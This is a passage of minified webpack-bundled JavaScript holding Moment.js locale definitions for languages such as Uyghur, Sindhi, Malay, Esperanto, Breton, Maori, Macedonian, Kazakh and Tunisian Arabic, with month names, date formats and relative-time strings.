062a\u06d5\u0628\u0649\u0631_\u0646\u0648\u064a\u0627\u0628\u0649\u0631_\u062f\u06d0\u0643\u0627\u0628\u0649\u0631".split("_"),weekdays:"\u064a\u06d5\u0643\u0634\u06d5\u0646\u0628\u06d5_\u062f\u06c8\u0634\u06d5\u0646\u0628\u06d5_\u0633\u06d5\u064a\u0634\u06d5\u0646\u0628\u06d5_\u0686\u0627\u0631\u0634\u06d5\u0646\u0628\u06d5_\u067e\u06d5\u064a\u0634\u06d5\u0646\u0628\u06d5_\u062c\u06c8\u0645\u06d5_\u0634\u06d5\u0646\u0628\u06d5".split("_"),weekdaysShort:"\u064a\u06d5_\u062f\u06c8_\u0633\u06d5_\u0686\u0627_\u067e\u06d5_\u062c\u06c8_\u0634\u06d5".split("_"),weekdaysMin:"\u064a\u06d5_\u062f\u06c8_\u0633\u06d5_\u0686\u0627_\u067e\u06d5_\u062c\u06c8_\u0634\u06d5".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY-\u064a\u0649\u0644\u0649M-\u0626\u0627\u064a\u0646\u0649\u06adD-\u0643\u06c8\u0646\u0649",LLL:"YYYY-\u064a\u0649\u0644\u0649M-\u0626\u0627\u064a\u0646\u0649\u06adD-\u0643\u06c8\u0646\u0649\u060c HH:mm",LLLL:"dddd\u060c YYYY-\u064a\u0649\u0644\u0649M-\u0626\u0627\u064a\u0646\u0649\u06adD-\u0643\u06c8\u0646\u0649\u060c HH:mm"},meridiemParse:/\u064a\u06d0\u0631\u0649\u0645 \u0643\u06d0\u0686\u06d5|\u0633\u06d5\u06be\u06d5\u0631|\u0686\u06c8\u0634\u062a\u0649\u0646 \u0628\u06c7\u0631\u06c7\u0646|\u0686\u06c8\u0634|\u0686\u06c8\u0634\u062a\u0649\u0646 \u0643\u06d0\u064a\u0649\u0646|\u0643\u06d5\u0686/,meridiemHour:function(e,t){return 12===e&&(e=0),"\u064a\u06d0\u0631\u0649\u0645 \u0643\u06d0\u0686\u06d5"===t||"\u0633\u06d5\u06be\u06d5\u0631"===t||"\u0686\u06c8\u0634\u062a\u0649\u0646 \u0628\u06c7\u0631\u06c7\u0646"===t?e:"\u0686\u06c8\u0634\u062a\u0649\u0646 \u0643\u06d0\u064a\u0649\u0646"===t||"\u0643\u06d5\u0686"===t?e+12:e>=11?e:e+12},meridiem:function(e,t,n){var a=100*e+t;return a<600?"\u064a\u06d0\u0631\u0649\u0645 \u0643\u06d0\u0686\u06d5":a<900?"\u0633\u06d5\u06be\u06d5\u0631":a<1130?"\u0686\u06c8\u0634\u062a\u0649\u0646 \u0628\u06c7\u0631\u06c7\u0646":a<1230?"\u0686\u06c8\u0634":a<1800?"\u0686\u06c8\u0634\u062a\u0649\u0646 \u0643\u06d0\u064a\u0649\u0646":"\u0643\u06d5\u0686"},calendar:{sameDay:"[\u0628\u06c8\u06af\u06c8\u0646 \u0633\u0627\u0626\u06d5\u062a] LT",nextDay:"[\u0626\u06d5\u062a\u06d5 \u0633\u0627\u0626\u06d5\u062a] LT",nextWeek:"[\u0643\u06d0\u0644\u06d5\u0631\u0643\u0649] dddd [\u0633\u0627\u0626\u06d5\u062a] LT",lastDay:"[\u062a\u06c6\u0646\u06c8\u06af\u06c8\u0646] LT",lastWeek:"[\u0626\u0627\u0644\u062f\u0649\u0646\u0642\u0649] dddd [\u0633\u0627\u0626\u06d5\u062a] LT",sameElse:"L"},relativeTime:{future:"%s \u0643\u06d0\u064a\u0649\u0646",past:"%s \u0628\u06c7\u0631\u06c7\u0646",s:"\u0646\u06d5\u0686\u0686\u06d5 \u0633\u06d0\u0643\u0648\u0646\u062a",ss:"%d \u0633\u06d0\u0643\u0648\u0646\u062a",m:"\u0628\u0649\u0631 \u0645\u0649\u0646\u06c7\u062a",mm:"%d \u0645\u0649\u0646\u06c7\u062a",h:"\u0628\u0649\u0631 \u0633\u0627\u0626\u06d5\u062a",hh:"%d \u0633\u0627\u0626\u06d5\u062a",d:"\u0628\u0649\u0631 \u0643\u06c8\u0646",dd:"%d \u0643\u06c8\u0646",M:"\u0628\u0649\u0631 \u0626\u0627\u064a",MM:"%d \u0626\u0627\u064a",y:"\u0628\u0649\u0631 \u064a\u0649\u0644",yy:"%d \u064a\u0649\u0644"},dayOfMonthOrdinalParse:/\d{1,2}(-\u0643\u06c8\u0646\u0649|-\u0626\u0627\u064a|-\u06be\u06d5\u067e\u062a\u06d5)/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+"-\u0643\u06c8\u0646\u0649";case"w":case"W":return e+"-\u06be\u06d5\u067e\u062a\u06d5";default:return e}},preparse:function(e){return e.replace(/\u060c/g,",")},postformat:function(e){return e.replace(/,/g,"\u060c")},week:{dow:1,doy:7}})}(n("wd/R"))},YuTi:function(e,t){e.exports=function(e){return e.webpackPolyfill||(e.deprecate=function(){},e.paths=[],e.children||(e.children=[]),Object.defineProperty(e,"loaded",{enumerable:!0,get:function(){return e.l}}),Object.defineProperty(e,"id",{enumerable:!0,get:function(){return e.i}}),e.webpackPolyfill=1),e}},Z4QM:function(e,t,n){!function(e){"use strict";var t=["\u062c\u0646\u0648\u0631\u064a","\u0641\u064a\u0628\u0631\u0648\u0631\u064a","\u0645\u0627\u0631\u0686","\u0627\u067e\u0631\u064a\u0644","\u0645\u0626\u064a","\u062c\u0648\u0646","\u062c\u0648\u0644\u0627\u0621\u0650","\u0622\u06af\u0633\u067d","\u0633\u064a\u067e\u067d\u0645\u0628\u0631","\u0622\u06aa\u067d\u0648\u0628\u0631","\u0646\u0648\u0645\u0628\u0631","\u068a\u0633\u0645\u0628\u0631"],n=["\u0622\u0686\u0631","\u0633\u0648\u0645\u0631","\u0627\u06b1\u0627\u0631\u0648","\u0627\u0631\u0628\u0639","\u062e\u0645\u064a\u0633","\u062c\u0645\u0639","\u0687\u0646\u0687\u0631"];e.defineLocale("sd",{months:t,monthsShort:t,weekdays:n,weekdaysShort:n,weekdaysMin:n,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd\u060c D MMMM YYYY HH:mm"},meridiemParse:/\u0635\u0628\u062d|\u0634\u0627\u0645/,isPM:function(e){return"\u0634\u0627\u0645"===e},meridiem:function(e,t,n){return e<12?"\u0635\u0628\u062d":"\u0634\u0627\u0645"},calendar:{sameDay:"[\u0627\u0684] LT",nextDay:"[\u0633\u0680\u0627\u06bb\u064a] LT",nextWeek:"dddd [\u0627\u06b3\u064a\u0646 \u0647\u0641\u062a\u064a \u062a\u064a] LT",lastDay:"[\u06aa\u0627\u0644\u0647\u0647] LT",lastWeek:"[\u06af\u0632\u0631\u064a\u0644 \u0647\u0641\u062a\u064a] dddd [\u062a\u064a] LT",sameElse:"L"},relativeTime:{future:"%s \u067e\u0648\u0621",past:"%s \u0627\u06b3",s:"\u0686\u0646\u062f \u0633\u064a\u06aa\u0646\u068a",ss:"%d \u0633\u064a\u06aa\u0646\u068a",m:"\u0647\u06aa \u0645\u0646\u067d",mm:"%d \u0645\u0646\u067d",h:"\u0647\u06aa \u06aa\u0644\u0627\u06aa",hh:"%d \u06aa\u0644\u0627\u06aa",d:"\u0647\u06aa \u068f\u064a\u0646\u0647\u0646",dd:"%d \u068f\u064a\u0646\u0647\u0646",M:"\u0647\u06aa \u0645\u0647\u064a\u0646\u0648",MM:"%d \u0645\u0647\u064a\u0646\u0627",y:"\u0647\u06aa \u0633\u0627\u0644",yy:"%d \u0633\u0627\u0644"},preparse:function(e){return e.replace(/\u060c/g,",")},postformat:function(e){return e.replace(/,/g,"\u060c")},week:{dow:1,doy:4}})}(n("wd/R"))},ZAMP:function(e,t,n){!function(e){"use strict";e.defineLocale("ms-my",{months:"Januari_Februari_Mac_April_Mei_Jun_Julai_Ogos_September_Oktober_November_Disember".split("_"),monthsShort:"Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ogs_Sep_Okt_Nov_Dis".split("_"),weekdays:"Ahad_Isnin_Selasa_Rabu_Khamis_Jumaat_Sabtu".split("_"),weekdaysShort:"Ahd_Isn_Sel_Rab_Kha_Jum_Sab".split("_"),weekdaysMin:"Ah_Is_Sl_Rb_Km_Jm_Sb".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [pukul] HH.mm",LLLL:"dddd, D MMMM YYYY [pukul] HH.mm"},meridiemParse:/pagi|tengahari|petang|malam/,meridiemHour:function(e,t){return 12===e&&(e=0),"pagi"===t?e:"tengahari"===t?e>=11?e:e+12:"petang"===t||"malam"===t?e+12:void 0},meridiem:function(e,t,n){return e<11?"pagi":e<15?"tengahari":e<19?"petang":"malam"},calendar:{sameDay:"[Hari ini pukul] LT",nextDay:"[Esok pukul] LT",nextWeek:"dddd [pukul] LT",lastDay:"[Kelmarin pukul] LT",lastWeek:"dddd [lepas pukul] LT",sameElse:"L"},relativeTime:{future:"dalam %s",past:"%s yang lepas",s:"beberapa saat",ss:"%d saat",m:"seminit",mm:"%d minit",h:"sejam",hh:"%d jam",d:"sehari",dd:"%d hari",M:"sebulan",MM:"%d bulan",y:"setahun",yy:"%d tahun"},week:{dow:1,doy:7}})}(n("wd/R"))},Zduo:function(e,t,n){!function(e){"use strict";e.defineLocale("eo",{months:"januaro_februaro_marto_aprilo_majo_junio_julio_a\u016dgusto_septembro_oktobro_novembro_decembro".split("_"),monthsShort:"jan_feb_mart_apr_maj_jun_jul_a\u016dg_sept_okt_nov_dec".split("_"),weekdays:"diman\u0109o_lundo_mardo_merkredo_\u0135a\u016ddo_vendredo_sabato".split("_"),weekdaysShort:"dim_lun_mard_merk_\u0135a\u016d_ven_sab".split("_"),weekdaysMin:"di_lu_ma_me_\u0135a_ve_sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"[la] D[-an de] MMMM, YYYY",LLL:"[la] D[-an de] MMMM, YYYY HH:mm",LLLL:"dddd[n], [la] D[-an de] MMMM, YYYY HH:mm",llll:"ddd, [la] D[-an de] MMM, YYYY HH:mm"},meridiemParse:/[ap]\.t\.m/i,isPM:function(e){return"p"===e.charAt(0).toLowerCase()},meridiem:function(e,t,n){return e>11?n?"p.t.m.":"P.T.M.":n?"a.t.m.":"A.T.M."},calendar:{sameDay:"[Hodia\u016d je] LT",nextDay:"[Morga\u016d je] LT",nextWeek:"dddd[n je] LT",lastDay:"[Hiera\u016d je] LT",lastWeek:"[pasintan] dddd[n je] LT",sameElse:"L"},relativeTime:{future:"post %s",past:"anta\u016d %s",s:"kelkaj sekundoj",ss:"%d sekundoj",m:"unu minuto",mm:"%d minutoj",h:"unu horo",hh:"%d horoj",d:"unu tago",dd:"%d tagoj",M:"unu monato",MM:"%d monatoj",y:"unu jaro",yy:"%d jaroj"},dayOfMonthOrdinalParse:/\d{1,2}a/,ordinal:"%da",week:{dow:1,doy:7}})}(n("wd/R"))},aIdf:function(e,t,n){!function(e){"use strict";function t(e,t,n){return e+" "+function(e,t){return 2===t?function(e){var t={m:"v",b:"v",d:"z"};return void 0===t[e.charAt(0)]?e:t[e.charAt(0)]+e.substring(1)}(e):e}({mm:"munutenn",MM:"miz",dd:"devezh"}[n],e)}var n=[/^gen/i,/^c[\u02bc\']hwe/i,/^meu/i,/^ebr/i,/^mae/i,/^(mez|eve)/i,/^gou/i,/^eos/i,/^gwe/i,/^her/i,/^du/i,/^ker/i],a=/^(genver|c[\u02bc\']hwevrer|meurzh|ebrel|mae|mezheven|gouere|eost|gwengolo|here|du|kerzu|gen|c[\u02bc\']hwe|meu|ebr|mae|eve|gou|eos|gwe|her|du|ker)/i,r=[/^Su/i,/^Lu/i,/^Me([^r]|$)/i,/^Mer/i,/^Ya/i,/^Gw/i,/^Sa/i];e.defineLocale("br",{months:"Genver_C\u02bchwevrer_Meurzh_Ebrel_Mae_Mezheven_Gouere_Eost_Gwengolo_Here_Du_Kerzu".split("_"),monthsShort:"Gen_C\u02bchwe_Meu_Ebr_Mae_Eve_Gou_Eos_Gwe_Her_Du_Ker".split("_"),weekdays:"Sul_Lun_Meurzh_Merc\u02bcher_Yaou_Gwener_Sadorn".split("_"),weekdaysShort:"Sul_Lun_Meu_Mer_Yao_Gwe_Sad".split("_"),weekdaysMin:"Su_Lu_Me_Mer_Ya_Gw_Sa".split("_"),weekdaysParse:r,fullWeekdaysParse:[/^sul/i,/^lun/i,/^meurzh/i,/^merc[\u02bc\']her/i,/^yaou/i,/^gwener/i,/^sadorn/i],shortWeekdaysParse:[/^Sul/i,/^Lun/i,/^Meu/i,/^Mer/i,/^Yao/i,/^Gwe/i,/^Sad/i],minWeekdaysParse:r,monthsRegex:a,monthsShortRegex:a,monthsStrictRegex:/^(genver|c[\u02bc\']hwevrer|meurzh|ebrel|mae|mezheven|gouere|eost|gwengolo|here|du|kerzu)/i,monthsShortStrictRegex:/^(gen|c[\u02bc\']hwe|meu|ebr|mae|eve|gou|eos|gwe|her|du|ker)/i,monthsParse:n,longMonthsParse:n,shortMonthsParse:n,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [a viz] MMMM YYYY",LLL:"D [a viz] MMMM YYYY HH:mm",LLLL:"dddd, D [a viz] MMMM YYYY HH:mm"},calendar:{sameDay:"[Hiziv da] LT",nextDay:"[Warc\u02bchoazh da] LT",nextWeek:"dddd [da] LT",lastDay:"[Dec\u02bch da] LT",lastWeek:"dddd [paset da] LT",sameElse:"L"},relativeTime:{future:"a-benn %s",past:"%s \u02bczo",s:"un nebeud segondenno\xf9",ss:"%d eilenn",m:"ur vunutenn",mm:t,h:"un eur",hh:"%d eur",d:"un devezh",dd:t,M:"ur miz",MM:t,y:"ur bloaz",yy:function(e){switch(function e(t){return t>9?e(t%10):t}(e)){case 1:case 3:case 4:case 5:case 9:return e+" bloaz";default:return e+" vloaz"}}},dayOfMonthOrdinalParse:/\d{1,2}(a\xf1|vet)/,ordinal:function(e){return e+(1===e?"a\xf1":"vet")},week:{dow:1,doy:4},meridiemParse:/a.m.|g.m./,isPM:function(e){return"g.m."===e},meridiem:function(e,t,n){return e<12?"a.m.":"g.m."}})}(n("wd/R"))},aIsn:function(e,t,n){!function(e){"use strict";e.defineLocale("mi",{months:"Kohi-t\u0101te_Hui-tanguru_Pout\u016b-te-rangi_Paenga-wh\u0101wh\u0101_Haratua_Pipiri_H\u014dngoingoi_Here-turi-k\u014dk\u0101_Mahuru_Whiringa-\u0101-nuku_Whiringa-\u0101-rangi_Hakihea".split("_"),monthsShort:"Kohi_Hui_Pou_Pae_Hara_Pipi_H\u014dngoi_Here_Mahu_Whi-nu_Whi-ra_Haki".split("_"),monthsRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i,monthsStrictRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i,monthsShortRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i,monthsShortStrictRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,2}/i,weekdays:"R\u0101tapu_Mane_T\u016brei_Wenerei_T\u0101ite_Paraire_H\u0101tarei".split("_"),weekdaysShort:"Ta_Ma_T\u016b_We_T\u0101i_Pa_H\u0101".split("_"),weekdaysMin:"Ta_Ma_T\u016b_We_T\u0101i_Pa_H\u0101".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [i] HH:mm",LLLL:"dddd, D MMMM YYYY [i] HH:mm"},calendar:{sameDay:"[i teie mahana, i] LT",nextDay:"[apopo i] LT",nextWeek:"dddd [i] LT",lastDay:"[inanahi i] LT",lastWeek:"dddd [whakamutunga i] LT",sameElse:"L"},relativeTime:{future:"i roto i %s",past:"%s i mua",s:"te h\u0113kona ruarua",ss:"%d h\u0113kona",m:"he meneti",mm:"%d meneti",h:"te haora",hh:"%d haora",d:"he ra",dd:"%d ra",M:"he marama",MM:"%d marama",y:"he tau",yy:"%d tau"},dayOfMonthOrdinalParse:/\d{1,2}\xba/,ordinal:"%d\xba",week:{dow:1,doy:4}})}(n("wd/R"))},aQkU:function(e,t,n){!function(e){"use strict";e.defineLocale("mk",{months:"\u0458\u0430\u043d\u0443\u0430\u0440\u0438_\u0444\u0435\u0432\u0440\u0443\u0430\u0440\u0438_\u043c\u0430\u0440\u0442_\u0430\u043f\u0440\u0438\u043b_\u043c\u0430\u0458_\u0458\u0443\u043d\u0438_\u0458\u0443\u043b\u0438_\u0430\u0432\u0433\u0443\u0441\u0442_\u0441\u0435\u043f\u0442\u0435\u043c\u0432\u0440\u0438_\u043e\u043a\u0442\u043e\u043c\u0432\u0440\u0438_\u043d\u043e\u0435\u043c\u0432\u0440\u0438_\u0434\u0435\u043a\u0435\u043c\u0432\u0440\u0438".split("_"),monthsShort:"\u0458\u0430\u043d_\u0444\u0435\u0432_\u043c\u0430\u0440_\u0430\u043f\u0440_\u043c\u0430\u0458_\u0458\u0443\u043d_\u0458\u0443\u043b_\u0430\u0432\u0433_\u0441\u0435\u043f_\u043e\u043a\u0442_\u043d\u043e\u0435_\u0434\u0435\u043a".split("_"),weekdays:"\u043d\u0435\u0434\u0435\u043b\u0430_\u043f\u043e\u043d\u0435\u0434\u0435\u043b\u043d\u0438\u043a_\u0432\u0442\u043e\u0440\u043d\u0438\u043a_\u0441\u0440\u0435\u0434\u0430_\u0447\u0435\u0442\u0432\u0440\u0442\u043e\u043a_\u043f\u0435\u0442\u043e\u043a_\u0441\u0430\u0431\u043e\u0442\u0430".split("_"),weekdaysShort:"\u043d\u0435\u0434_\u043f\u043e\u043d_\u0432\u0442\u043e_\u0441\u0440\u0435_\u0447\u0435\u0442_\u043f\u0435\u0442_\u0441\u0430\u0431".split("_"),weekdaysMin:"\u043de_\u043fo_\u0432\u0442_\u0441\u0440_\u0447\u0435_\u043f\u0435_\u0441a".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY H:mm",LLLL:"dddd, D MMMM YYYY H:mm"},calendar:{sameDay:"[\u0414\u0435\u043d\u0435\u0441 \u0432\u043e] LT",nextDay:"[\u0423\u0442\u0440\u0435 \u0432\u043e] LT",nextWeek:"[\u0412\u043e] dddd [\u0432\u043e] LT",lastDay:"[\u0412\u0447\u0435\u0440\u0430 \u0432\u043e] LT",lastWeek:function(){switch(this.day()){case 0:case 3:case 6:return"[\u0418\u0437\u043c\u0438\u043d\u0430\u0442\u0430\u0442\u0430] dddd [\u0432\u043e] LT";case 1:case 2:case 4:case 5:return"[\u0418\u0437\u043c\u0438\u043d\u0430\u0442\u0438\u043e\u0442] dddd [\u0432\u043e] LT"}},sameElse:"L"},relativeTime:{future:"\u0437\u0430 %s",past:"\u043f\u0440\u0435\u0434 %s",s:"\u043d\u0435\u043a\u043e\u043b\u043a\u0443 \u0441\u0435\u043a\u0443\u043d\u0434\u0438",ss:"%d \u0441\u0435\u043a\u0443\u043d\u0434\u0438",m:"\u0435\u0434\u043d\u0430 \u043c\u0438\u043d\u0443\u0442\u0430",mm:"%d \u043c\u0438\u043d\u0443\u0442\u0438",h:"\u0435\u0434\u0435\u043d \u0447\u0430\u0441",hh:"%d \u0447\u0430\u0441\u0430",d:"\u0435\u0434\u0435\u043d \u0434\u0435\u043d",dd:"%d \u0434\u0435\u043d\u0430",M:"\u0435\u0434\u0435\u043d \u043c\u0435\u0441\u0435\u0446",MM:"%d \u043c\u0435\u0441\u0435\u0446\u0438",y:"\u0435\u0434\u043d\u0430 \u0433\u043e\u0434\u0438\u043d\u0430",yy:"%d \u0433\u043e\u0434\u0438\u043d\u0438"},dayOfMonthOrdinalParse:/\d{1,2}-(\u0435\u0432|\u0435\u043d|\u0442\u0438|\u0432\u0438|\u0440\u0438|\u043c\u0438)/,ordinal:function(e){var t=e%10,n=e%100;return 0===e?e+"-\u0435\u0432":0===n?e+"-\u0435\u043d":n>10&&n<20?e+"-\u0442\u0438":1===t?e+"-\u0432\u0438":2===t?e+"-\u0440\u0438":7===t||8===t?e+"-\u043c\u0438":e+"-\u0442\u0438"},week:{dow:1,doy:7}})}(n("wd/R"))},b1Dy:function(e,t,n){!function(e){"use strict";e.defineLocale("en-nz",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(n("wd/R"))},bOMt:function(e,t,n){!function(e){"use strict";e.defineLocale("nb",{months:"januar_februar_mars_april_mai_juni_juli_august_september_oktober_november_desember".split("_"),monthsShort:"jan._feb._mars_apr._mai_juni_juli_aug._sep._okt._nov._des.".split("_"),monthsParseExact:!0,weekdays:"s\xf8ndag_mandag_tirsdag_onsdag_torsdag_fredag_l\xf8rdag".split("_"),weekdaysShort:"s\xf8._ma._ti._on._to._fr._l\xf8.".split("_"),weekdaysMin:"s\xf8_ma_ti_on_to_fr_l\xf8".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY [kl.] HH:mm",LLLL:"dddd D. MMMM YYYY [kl.] HH:mm"},calendar:{sameDay:"[i dag kl.] LT",nextDay:"[i morgen kl.] LT",nextWeek:"dddd [kl.] LT",lastDay:"[i g\xe5r kl.] LT",lastWeek:"[forrige] dddd [kl.] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"%s siden",s:"noen sekunder",ss:"%d sekunder",m:"ett minutt",mm:"%d minutter",h:"en time",hh:"%d timer",d:"en dag",dd:"%d dager",w:"en uke",ww:"%d uker",M:"en m\xe5ned",MM:"%d m\xe5neder",y:"ett \xe5r",yy:"%d \xe5r"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},bXm7:function(e,t,n){!function(e){"use strict";var t={0:"-\u0448\u0456",1:"-\u0448\u0456",2:"-\u0448\u0456",3:"-\u0448\u0456",4:"-\u0448\u0456",5:"-\u0448\u0456",6:"-\u0448\u044b",7:"-\u0448\u0456",8:"-\u0448\u0456",9:"-\u0448\u044b",10:"-\u0448\u044b",20:"-\u0448\u044b",30:"-\u0448\u044b",40:"-\u0448\u044b",50:"-\u0448\u0456",60:"-\u0448\u044b",70:"-\u0448\u0456",80:"-\u0448\u0456",90:"-\u0448\u044b",100:"-\u0448\u0456"};e.defineLocale("kk",{months:"\u049b\u0430\u04a3\u0442\u0430\u0440_\u0430\u049b\u043f\u0430\u043d_\u043d\u0430\u0443\u0440\u044b\u0437_\u0441\u04d9\u0443\u0456\u0440_\u043c\u0430\u043c\u044b\u0440_\u043c\u0430\u0443\u0441\u044b\u043c_\u0448\u0456\u043b\u0434\u0435_\u0442\u0430\u043c\u044b\u0437_\u049b\u044b\u0440\u043a\u04af\u0439\u0435\u043a_\u049b\u0430\u0437\u0430\u043d_\u049b\u0430\u0440\u0430\u0448\u0430_\u0436\u0435\u043b\u0442\u043e\u049b\u0441\u0430\u043d".split("_"),monthsShort:"\u049b\u0430\u04a3_\u0430\u049b\u043f_\u043d\u0430\u0443_\u0441\u04d9\u0443_\u043c\u0430\u043c_\u043c\u0430\u0443_\u0448\u0456\u043b_\u0442\u0430\u043c_\u049b\u044b\u0440_\u049b\u0430\u0437_\u049b\u0430\u0440_\u0436\u0435\u043b".split("_"),weekdays:"\u0436\u0435\u043a\u0441\u0435\u043d\u0431\u0456_\u0434\u04af\u0439\u0441\u0435\u043d\u0431\u0456_\u0441\u0435\u0439\u0441\u0435\u043d\u0431\u0456_\u0441\u04d9\u0440\u0441\u0435\u043d\u0431\u0456_\u0431\u0435\u0439\u0441\u0435\u043d\u0431\u0456_\u0436\u04b1\u043c\u0430_\u0441\u0435\u043d\u0431\u0456".split("_"),weekdaysShort:"\u0436\u0435\u043a_\u0434\u04af\u0439_\u0441\u0435\u0439_\u0441\u04d9\u0440_\u0431\u0435\u0439_\u0436\u04b1\u043c_\u0441\u0435\u043d".split("_"),weekdaysMin:"\u0436\u043a_\u0434\u0439_\u0441\u0439_\u0441\u0440_\u0431\u0439_\u0436\u043c_\u0441\u043d".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[\u0411\u04af\u0433\u0456\u043d \u0441\u0430\u0493\u0430\u0442] LT",nextDay:"[\u0415\u0440\u0442\u0435\u04a3 \u0441\u0430\u0493\u0430\u0442] LT",nextWeek:"dddd [\u0441\u0430\u0493\u0430\u0442] LT",lastDay:"[\u041a\u0435\u0448\u0435 \u0441\u0430\u0493\u0430\u0442] LT",lastWeek:"[\u04e8\u0442\u043a\u0435\u043d \u0430\u043f\u0442\u0430\u043d\u044b\u04a3] dddd [\u0441\u0430\u0493\u0430\u0442] LT",sameElse:"L"},relativeTime:{future:"%s \u0456\u0448\u0456\u043d\u0434\u0435",past:"%s \u0431\u04b1\u0440\u044b\u043d",s:"\u0431\u0456\u0440\u043d\u0435\u0448\u0435 \u0441\u0435\u043a\u0443\u043d\u0434",ss:"%d \u0441\u0435\u043a\u0443\u043d\u0434",m:"\u0431\u0456\u0440 \u043c\u0438\u043d\u0443\u0442",mm:"%d \u043c\u0438\u043d\u0443\u0442",h:"\u0431\u0456\u0440 \u0441\u0430\u0493\u0430\u0442",hh:"%d \u0441\u0430\u0493\u0430\u0442",d:"\u0431\u0456\u0440 \u043a\u04af\u043d",dd:"%d \u043a\u04af\u043d",M:"\u0431\u0456\u0440 \u0430\u0439",MM:"%d \u0430\u0439",y:"\u0431\u0456\u0440 \u0436\u044b\u043b",yy:"%d \u0436\u044b\u043b"},dayOfMonthOrdinalParse:/\d{1,2}-(\u0448\u0456|\u0448\u044b)/,ordinal:function(e){return e+(t[e]||t[e%10]||t[e>=100?100:null])},week:{dow:1,doy:7}})}(n("wd/R"))},bYM6:function(e,t,n){!function(e){"use strict";e.defineLocale("ar-tn",{months:"\u062c\u0627\u0646\u0641\u064a_\u0641\u064a\u0641\u0631\u064a_\u0645\u0627\u0631\u0633_\u0623\u0641\u0631\u064a\u0644_\u0645\u0627\u064a_\u062c\u0648\u0627\u0646_\u062c\u0648\u064a\u0644\u064a\u0629_\u0623\u0648\u062a_\u0633\u0628\u062a\u0645\u0628\u0631_\u0623\u0643\u062a\u0648\u0628\u0631_\u0646\u0648\u0641\u0645\u0628\u0631_\u062f\u064a\u0633\u0645\u0628\u0631".split("_"),monthsShort:"\u062c\u0627\u0646\u0641\u064a_\u0641\u064a\u0641\u0631\u064a_\u0645\u0627\u0631\u0633_\u0623\u0641\u0631\u064a\u0644_\u0645\u0627\u064a_\u062c\u0648\u0627\u0646_\u062c\u0648\u064a\u0644\u064a\u0629_\u0623\u0648\u062a_\u0633\u0628\u062a\u0645\u0628\u0631_\u0623\u0643\u062a\u0648\u0628\u0631_\u0646\u0648\u0641\u0645\u0628\u0631_\u062f\u064a\u0633\u0645\u0628\u0631".split("_"),weekdays:"\u0627\u0644\u0623\u062d\u062f_\u0627\u0644\u0625\u062b\u0646\u064a\u0646_\u0627\u0644\u062b\u0644\u0627\u062b\u0627\u0621_\u0627\u0644\u0623\u0631\u0628\u0639\u0627\u0621_\u0627\u0644\u062e\u0645\u064a\u0633_\u0627\u0644\u062c\u0645\u0639\u0629_\u0627\u0644\u0633\u0628\u062a".split("_"),weekdaysShort:"\u0623\u062d\u062f_\u0625\u062b\u0646\u064a\u0646_\u062b\u0644\u0627\u062b\u0627\u0621_\u0623\u0631\u0628\u0639\u0627\u0621_\u062e\u0645\u064a\u0633_\u062c\u0645\u0639\u0629_\u0633\u0628\u062a".split("_"),weekdaysMin:"\u062d_\u0646_\u062b_\u0631_\u062e_\u062c_\u0633".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[\u0627\u0644\u064a\u0648\u0645 \u0639\u0644\u0649 \u0627\u0644\u0633\u0627\u0639\u0629] LT",nextDay:"[\u063a\u062f\u0627 \u0639\u0644\u0649 \u0627\u0644\u0633\u0627\u0639\u0629] 